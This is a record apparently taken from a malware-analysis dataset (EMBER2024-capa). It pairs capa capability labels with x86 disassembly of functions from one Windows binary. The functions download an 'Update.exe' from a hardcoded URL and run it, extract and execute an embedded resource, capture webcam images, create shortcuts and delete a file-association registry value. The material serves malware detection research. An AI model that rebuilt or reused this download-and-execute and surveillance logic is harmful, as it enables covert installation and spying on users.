joyce8/EMBER2024-capa huggingface dataset:
Function at 0x437040
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x68
mov eax, dword [0x4ac588]
push esi
push edi
mov dword [esp + 0x6c], eax
mov edx, ecx
mov edx, dword [edx + 0x98]
xor eax, eax
mov ecx, 0x13
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x78]
lea eax, [esp + 0xc]
push eax
push ecx
mov dword [esp + 0x14], 0x50
mov dword [esp + 0x18], 0x10
mov eax, dword [edx + 0x1c]
push 0x41d
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.USER32.dll_SendMessageA]
mov eax, dword [esp + 0x2c]
xor ecx, ecx
mov dword [esp + 0x5d], ecx
mov dword [esp + 0x61], ecx
push 0x10
lea edx, [esp + 0x60]
mov dword [esp + 0x69], ecx
push edx
mov word [esp + 0x71], cx
push eax
mov byte [esp + 0x68], 0
mov byte [esp + 0x77], cl
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov esi, dword [esp + 0x74]
lea ecx, [esp + 0x5c]
push ecx
mov ecx, esi
call fcn.00401ac0
mov ecx, dword [esp + 0x6c]
pop edi
mov eax, esi
pop esi
call fcn.0044af18
add esp, 0x68
ret 8

Function at 0x437c80
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x20
xor eax, eax
push ebx
mov dword [esp + 8], eax
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov dword [esp + 0x14], eax
mov esi, ecx
mov edx, dword [esi + 0x1c]
mov dword [esp + 0x18], eax
lea ecx, [esp + 0xc]
push ecx
mov dword [esp + 0x20], eax
push 0x419
mov dword [esp + 0x28], eax
push 0x442
mov dword [esp + 0x30], eax
push edx
mov dword [esp + 0x38], eax
mov dword [esp + 0x1c], 0x20
mov dword [esp + 0x20], 0x40
mov word [esp + 0x2e], 0x78
call edi
mov ecx, dword [esi + 0x1c]
mov ebx, dword [esp + 0x30]
lea eax, [esp + 0xc]
push eax
push 0x41a
push 0x442
push ecx
mov dword [esp + 0x20], 0x42
mov word [esp + 0x2e], 0x50
mov dword [esp + 0x34], ebx
call edi
lea eax, [ebx - 0x10]
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
pop edi
pop esi
pop ebx
jg 0x437d21
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
add esp, 0x20
ret 4

Function at 0x438150
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x114
mov eax, dword [0x4ac588]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x5c
push ebx
mov dword [esp + 0x124], eax
call fcn.0044c7a0
add esp, 8
test eax, eax
je 0x4381c7
sub eax, ebx
mov ecx, eax
mov edx, ecx
shr ecx, 2
mov esi, ebx
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov byte [esp + eax + 0x10], 0
lea eax, [esp + 0x10]
push eax
call esi
test eax, eax
jne 0x4381b8
lea ecx, [esp + 0x10]
push ecx
call fcn.00438150
add esp, 4
push ebx
call esi
test eax, eax
jne 0x4381c7
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [esp + 0x11c]
call fcn.0044af18
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4381e0
Capabilities:
Download url
Read .ini file
Receive data

Disassembly:
sub esp, 0x128
mov eax, dword [0x4ac588]
push ebx
push ebp
push esi
mov ebx, ecx
mov ecx, dword [ebx + 0x218]
mov dword [esp + 0x130], eax
mov eax, dword [ebx + 0x210]
push eax
push 0
push str.nAction
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov edx, dword [ebx + 0x218]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov dword [ebx], eax
mov eax, dword [ebx + 0x210]
push eax
push 0x104
lea ecx, [esp + 0x34]
push ecx
push 0x488a08
push str.FILE
push edx
call esi
mov ecx, dword [ebx + 0x210]
mov edx, dword [ebx + 0x218]
push ecx
push 0x104
lea eax, [ebx + 4]
push eax
push 0x488a08
push str.destinationFile
push edx
call esi
lea eax, [esp + 0x2c]
push 0x2f
push eax
call fcn.0044c7a0
mov ebp, eax
add esp, 8
test ebp, ebp
jne 0x4382a6
lea ecx, [esp + 0x2c]
push 0x5c
push ecx
call fcn.0044c7a0
mov ebp, eax
add esp, 8
test ebp, ebp
jne 0x4382a6
pop esi
pop ebp
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x124]
call fcn.0044af18
add esp, 0x128
ret
mov ecx, dword [ebx + 0x20c]
lea edx, [ebx + 0x108]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4382b2
push edi
lea edi, [ebx + 0x108]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4382c4
mov edx, dword [str.updateTemp_]
mov dword [edi], edx
mov eax, dword [0x491120]
mov dword [edi + 4], eax
mov ecx, dword [0x491124]
mov dword [edi + 8], ecx
mov dl, byte [0x491128]
lea eax, [ebx + 0x108]
push eax
mov byte [edi + 0xc], dl
call fcn.00438150
add esp, 4
push 0x489954
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, ebp
mov esi, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x438310
lea edi, [ebx + 0x108]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x438320
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [ebx + 4]
push esi
call edi
test eax, eax
jne 0x43835e
push 0x103
push 0x489954
call edi
add eax, ebp
push eax
push esi
call fcn.0044bcc0
add esp, 0xc
push 0
push 0x104
lea eax, [ebx + 0x108]
push eax
lea eax, [esp + 0x3c]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
pop edi
je 0x438398
pop esi
pop ebp
mov eax, 2
pop ebx
mov ecx, dword [esp + 0x124]
call fcn.0044af18
add esp, 0x128
ret
mov ecx, dword [ebx + 0x210]
mov eax, dword [ebx + 0x218]
push ecx
push 0x20
lea edx, [esp + 0x14]
push edx
push 0x488a08
push 0x491118
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [ebx + 0x214]
mov eax, dword [ebx + 0x218]
push ecx
lea edx, [esp + 0x10]
push edx
push 0x491118
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [esp + 0x130]
pop esi
pop ebp
xor eax, eax
pop ebx
call fcn.0044af18
add esp, 0x128
ret
Function at 0x438580
Capabilities:
Create thread
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x4846b0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov edx, dword [esp + 0x20]
test edx, edx
push ebp
mov ebp, ecx
push esi
mov dword [esp + 8], ebp
jne 0x4385aa
xor eax, eax
jmp 0x4385b9
mov eax, edx
lea esi, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4385b0
sub eax, esi
push ebx
push edi
push eax
push edx
lea ecx, [ebp + 0x218]
call fcn.00401710
mov ecx, dword [esp + 0x28]
test ecx, ecx
lea ebx, [ebp + 0x210]
jne 0x4385da
xor eax, eax
jmp 0x4385ed
mov eax, ecx
lea esi, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4385e0
mov ebp, dword [esp + 0x10]
sub eax, esi
push eax
push ecx
mov ecx, ebx
call fcn.00401710
push str.update.ini
lea ecx, [esp + 0x2c]
call fcn.00401ac0
mov edi, dword [esp + 0x2c]
push eax
lea eax, [esp + 0x34]
push edi
push eax
mov dword [esp + 0x28], 0
call fcn.00407e30
add esp, 0xc
lea esi, [ebp + 0x214]
push eax
mov ecx, esi
mov byte [esp + 0x20], 1
call fcn.00401900
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
mov byte [esp + 0x1c], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x438655
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
mov dword [esp + 0x1c], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x43867b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
test edi, edi
lea ecx, [ebp + 0x20c]
jne 0x438689
xor eax, eax
jmp 0x438699
mov eax, edi
lea ebp, [eax + 1]
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x438690
sub eax, ebp
push eax
push edi
call fcn.00401710
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x10]
mov dword [ebp], 0
mov eax, dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push eax
push 0
add ecx, 0x218
mov ecx, dword [ecx]
push 0x491118
push ecx
call esi
mov ecx, dword [esp + 0x10]
mov edi, eax
mov eax, dword [ebx]
push eax
push 0
add ecx, 0x218
mov ecx, dword [ecx]
push 0x491118
push ecx
call esi
cmp edi, eax
pop edi
pop ebx
jge 0x438709
mov ecx, dword [esp + 8]
lea eax, [esp + 0x24]
push eax
push 0
push ecx
push 0x438400
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp], eax
mov ecx, dword [esp + 0xc]
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x10
Function at 0x438720
Capabilities:
Create process on windows
Extract resource via kernel32 functions

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4846cb
push eax
mov dword fs:[0], esp
sub esp, 0x94
push esi
push edi
call fcn.0047b66b
mov esi, dword [eax + 8]
push str.DATA
push 0x272
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x43884e
push ebx
push ebp
mov ebp, dword [esp + 0xb4]
mov eax, dword [ebp]
push 1
push 0x1b6
push 0x20
push eax
lea ecx, [esp + 0x20]
call fcn.0042f7a0
push edi
push esi
mov dword [esp + 0xb4], 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
lea ecx, [esp + 0x18]
call fcn.0042eb00
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 4]
test byte [esp + ecx + 0x18], 6
lea ecx, [esp + 0x14]
setne bl
call fcn.0041e4b0
test eax, eax
jne 0x4387ef
mov edx, dword [esp + 0x10]
mov ecx, dword [edx + 4]
mov eax, dword [esp + ecx + 0x18]
mov edx, dword [esp + ecx + 0x38]
lea ecx, [esp + ecx + 0x10]
or eax, 2
test edx, edx
jne 0x4387e7
or eax, 4
push 0
push eax
call fcn.0045ccf7
test bl, bl
jne 0x438827
mov eax, dword [esp + 0xb8]
test eax, eax
je 0x43881b
push 0x4901a8
mov ecx, ebp
call fcn.00408f10
mov eax, dword [0x4ae07c]
mov ecx, dword [eax - 0xc]
push ecx
push eax
mov ecx, ebp
call fcn.00401870
mov ebp, dword [ebp]
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0x70]
mov dword [esp + 0xac], 0xffffffff
call fcn.0042f8e0
lea ecx, [esp + 0x70]
mov dword [esp + 0x70], 0x48d12c
call fcn.0045cc0d
pop ebp
pop ebx
mov ecx, dword [esp + 0x9c]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0xa0
ret 8
Function at 0x438ef0
Capabilities:
Download url
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x484750
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
push edi
push str.wnie.ex_
lea eax, [esp + 0xc]
push 0x4ae080
push eax
mov edi, ecx
call fcn.00407d70
add esp, 0xc
mov esi, dword [esp + 8]
mov ecx, dword [esp + 0x1c]
push 0
push 0x104
push esi
push ecx
push 0
mov dword [esp + 0x28], 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
je 0x438f4d
lea eax, [esi - 0x10]
jmp 0x438fd0
push 0x4ae080
lea ecx, [esp + 0xc]
call fcn.00401900
push str.Update.exe
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x24]
push ecx
call fcn.00407d70
add esp, 0xc
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x18], 1
call fcn.00401900
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
mov byte [esp + 0x14], 0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x438fa4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [str.System]
push 1
push str.DownFinish
push eax
mov ecx, 0x4adfd8
call fcn.0046fa70
push 1
lea ecx, [esp + 0xc]
push ecx
mov ecx, edi
call fcn.00438720
mov eax, dword [esp + 8]
add eax, 0xfffffff0
mov dword [esp + 0x14], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x438fef
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x439110
Capabilities:
Create thread
Delete file

Disassembly:
sub esp, 0x20
mov eax, dword [str.System]
push ebx
push esi
push edi
push 0xffffffffffffffff
push 0x491114
mov esi, ecx
push eax
mov ecx, 0x4adfd8
call fcn.0047b1e1
mov ecx, dword [str.System]
push 1
push str.DownFinish
push ecx
mov ecx, 0x4adfd8
mov ebx, eax
call fcn.0047b1e1
push 0
mov dword [esi], eax
call fcn.0044c20d
fld qword [0x48a1a8]
mov dword [esp + 0x18], edx
fstp qword [esp + 0x24]
add esp, 4
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x24]
mov dword [esp + 0x14], eax
mov dword [esp + 0x2c], 0
call fcn.0040ce60
mov eax, dword [esp + 0x28]
test eax, eax
jne 0x4391a5
fld qword [esp + 0x20]
lea eax, [esp + 0x10]
push eax
sub esp, 8
fstp qword [esp]
call dword [sym.imp.OLEAUT32.dll_UnRegisterTypeLib]
test eax, eax
je 0x4391a5
movzx edi, word [esp + 0x16]
jmp 0x4391a8
or edi, 0xffffffff
cmp edi, ebx
jne 0x4391b1
cmp dword [esi], 0
jne 0x4391f2
push str.._Update.exe
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [str.System]
push edi
push 0x491114
push ecx
mov ecx, 0x4adfd8
call fcn.0046fa70
lea edx, [esp + 0xc]
push edx
push 0
push esi
push 0x439100
push 0
push 0
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
add esp, 0x20
ret
Function at 0x43c350
Capabilities:
Check if file exists
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x484c90
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebp
push esi
push edi
mov edi, ecx
mov ecx, dword [str.list.ini]
lea ebp, [edi + 0x58]
mov eax, ebp
mov dword [eax], ecx
mov edx, dword [0x4918b0]
mov dword [eax + 4], edx
mov cl, byte [0x4918b4]
push str.DVirlib_
lea edx, [esp + 0x10]
push 0x4ae080
push edx
mov byte [eax + 8], cl
call fcn.00407d70
add esp, 0xc
mov ecx, dword [eax]
mov eax, ecx
mov dword [esp + 0x34], 0
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x43c3b2
sub eax, esi
push eax
lea esi, [edi + 0x3c]
push ecx
mov ecx, esi
call fcn.0041ae10
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
mov dword [esp + 0x34], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x43c3ed
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
cmp dword [esi + 0x18], 0x10
jb 0x43c3f8
mov eax, dword [esi + 4]
jmp 0x43c3fb
lea eax, [esi + 4]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x43c41d
cmp dword [esi + 0x18], 0x10
jb 0x43c411
mov eax, dword [esi + 4]
jmp 0x43c414
lea eax, [esi + 4]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push ebp
lea eax, [esp + 0x14]
push esi
push eax
call fcn.00429e70
add esp, 0xc
push 0xffffffffffffffff
push 0
push eax
lea ecx, [edi + 4]
mov dword [esp + 0x40], 1
call fcn.0041ad20
cmp dword [esp + 0x28], 0x10
mov dword [esp + 0x34], 0xffffffff
jb 0x43c45d
mov ecx, dword [esp + 0x14]
push ecx
call fcn.00467056
add esp, 4
push 0x19
push str.http:__vir.wn51.com_wnie_
lea ecx, [edi + 0x20]
mov dword [esp + 0x30], 0xf
mov dword [esp + 0x2c], 0
mov byte [esp + 0x1c], 0
call fcn.0041ae10
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x2c
ret

Function at 0x43c700
Capabilities:
Create thread

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push 0
push ecx
push 0x43c5c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x43c726
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x4aded8], 0
xor eax, eax
pop ecx
ret
Function at 0x43dca0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x314
mov eax, dword [0x4ac588]
push ebx
mov dword [esp + 0x314], eax
cmp dword [ecx + 0x1c], 0x10
push esi
push edi
mov dword [esp + 0x14], ecx
jb 0x43dcca
mov eax, dword [ecx + 8]
jmp 0x43dccd
lea eax, [ecx + 8]
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x10], esi
je 0x43de93
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
mov ecx, 0x80
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push eax
push 0x1f4
lea ecx, [esp + 0x24]
push ecx
push esi
call ebx
lea edx, [esp + 0x18]
push str._data_
push edx
call fcn.0044c710
add esp, 8
test eax, eax
jne 0x43dd4c
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x43dcf5
mov ecx, dword [esp + 0x31c]
call fcn.0044af18
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x43de93
push 1
sub eax, ecx
lea ecx, [esp + 0x1c]
push 0
sub eax, ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
xor eax, eax
push eax
lea edx, [esp + 0x10]
push edx
mov ecx, 0x80
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
push 0x1f4
lea eax, [esp + 0x24]
push eax
push esi
call ebx
lea ecx, [esp + 0x18]
push 0x488bf8
push ecx
call fcn.0044c710
mov ecx, dword [esp + 0x14]
add esp, 8
inc eax
push 1
sub eax, ecx
lea edx, [esp + 0x1c]
push 0
sub eax, edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x43ddc3
mov esi, dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
mov ecx, 0x80
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push eax
push 0x1f4
lea ecx, [esp + 0x24]
push ecx
push esi
call ebx
lea esi, [esp + 0x18]
mov edx, esi
push 0x488bf8
push edx
mov edi, esi
call fcn.0044c710
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x43de5e
nop
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x218]
rep stosd dword es:[edi], eax
mov ecx, ebx
sub ecx, esi
mov eax, ecx
shr ecx, 2
lea edi, [esp + 0x218]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x218]
push ecx
mov ecx, dword [esp + 0x18]
call fcn.0043d330
push 0x1f4
lea esi, [ebx + 1]
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x488bf8
push esi
mov edi, esi
call fcn.0044c710
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x43de00
mov ebx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push 1
lea edx, [esp + 0x1c]
push 0
sub edi, ebx
sub edi, edx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [esp + 0xc], 0x1f4
je 0x43ddb9
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x31c]
call fcn.0044af18
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43e2a0
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x484f11
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
mov dword [esi], 0x491820
xor ebx, ebx
mov eax, 0xf
mov dword [esi + 0x1c], eax
mov dword [esi + 0x18], ebx
push edi
mov dword [esp + 0xc], esi
mov byte [esi + 8], bl
mov dword [esi + 0x38], eax
mov dword [esi + 0x34], ebx
mov dword [esp + 0x18], ebx
mov byte [esi + 0x24], bl
mov dword [esi + 0x54], eax
mov dword [esi + 0x50], ebx
mov byte [esi + 0x40], bl
mov byte [esp + 0x18], 2
call fcn.0043c350
lea eax, [esp + 0xc]
push eax
push ebx
push esi
push 0x43e250
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, ebx
je 0x43e321
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x10]
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x43e3e0
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x114
mov eax, dword [0x4ac588]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [esp + 0x11c], eax
mov ebx, ecx
xor eax, eax
mov byte [esp + 0x10], 0
mov ecx, 0x40
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x104
stosb byte es:[edi], al
push esi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [esp + 0x10]
push 0x5c
push ecx
call fcn.0044c7a0
add esp, 8
test eax, eax
je 0x43e43c
mov byte [eax], 0
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x43e457
lea eax, [esp + 0x10]
push eax
mov ecx, ebx
call fcn.0043e3e0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [esp + 0x11c]
call fcn.0044af18
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x43e4f0
Capabilities:
Create shortcut via ishelllink

Disassembly:
sub esp, 0x214
mov eax, dword [0x4ac588]
push esi
push 0
mov dword [esp + 0x218], eax
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 4]
push eax
push 0x49aaa8
push 1
push 0
push 0x49aae8
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, eax
test esi, esi
jl 0x43e5e5
mov eax, dword [esp + 4]
mov ecx, dword [eax]
lea edx, [esp + 8]
push edx
push 0x49abd8
push eax
call dword [ecx]
mov esi, eax
test esi, esi
jl 0x43e5db
mov eax, dword [esp + 4]
mov esi, dword [esp + 0x21c]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x50]
mov ecx, dword [esp + 0x224]
mov eax, dword [esp + 4]
mov edx, dword [eax]
push ecx
push eax
call dword [edx + 0x1c]
push str.wnie.exe
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x43e58e
mov eax, dword [esp + 4]
mov edx, dword [eax]
push 0x657
push eax
call dword [edx + 0x34]
mov edx, dword [esp + 0x228]
mov eax, dword [esp + 4]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x24]
mov ecx, dword [esp + 0x220]
push 0x104
lea eax, [esp + 0x10]
push eax
push 0xffffffffffffffff
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 8]
mov edx, dword [eax]
push 1
lea ecx, [esp + 0x10]
push ecx
push eax
call dword [edx + 0x18]
mov esi, eax
mov eax, dword [esp + 8]
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [esp + 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [esp + 0x214]
mov eax, esi
pop esi
call fcn.0044af18
add esp, 0x214
ret 0x10
Function at 0x43eb40
Capabilities:
Delete registry value
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x48508b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x183c
call fcn.0044c250
mov eax, dword [0x4ac588]
push ebx
push esi
mov dword [esp + 0x1840], eax
mov eax, dword [ebp + 8]
mov esi, dword [eax]
push edi
call fcn.0047b66b
mov edi, dword [eax + 8]
push str.DATA
push 0x271
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x43ec45
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push esi
push esi
push esi
push esi
push 0x491a90
push esi
push esi
push esi
push esi
push esi
push esi
mov ebx, eax
push esi
mov byte [esp + 0x74], 0
xor eax, eax
mov ecx, 0x5ff
lea edi, [esp + 0x75]
rep stosd dword es:[edi], eax
push esi
push esi
push esi
stosw word es:[edi], ax
push esi
push ebx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
lea ecx, [esp + 0x88]
push ecx
call fcn.0044bab7
add esp, 0x4c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
push 0x100
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x18]
call fcn.004263a0
xor eax, eax
mov dword [esp + 0x1854], eax
mov dword [esp + 0x10], eax
push 1
lea eax, [esp + 0x44]
lea edx, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
mov dword [esp + 0x1c], edx
call fcn.00426410
push str.Application
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerFileExts.htm
push SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHDeleteValueA]
lea ecx, [esp + 0x18]
call fcn.004252b0
mov ecx, dword [esp + 0x184c]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x1844]
call fcn.0044af18
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4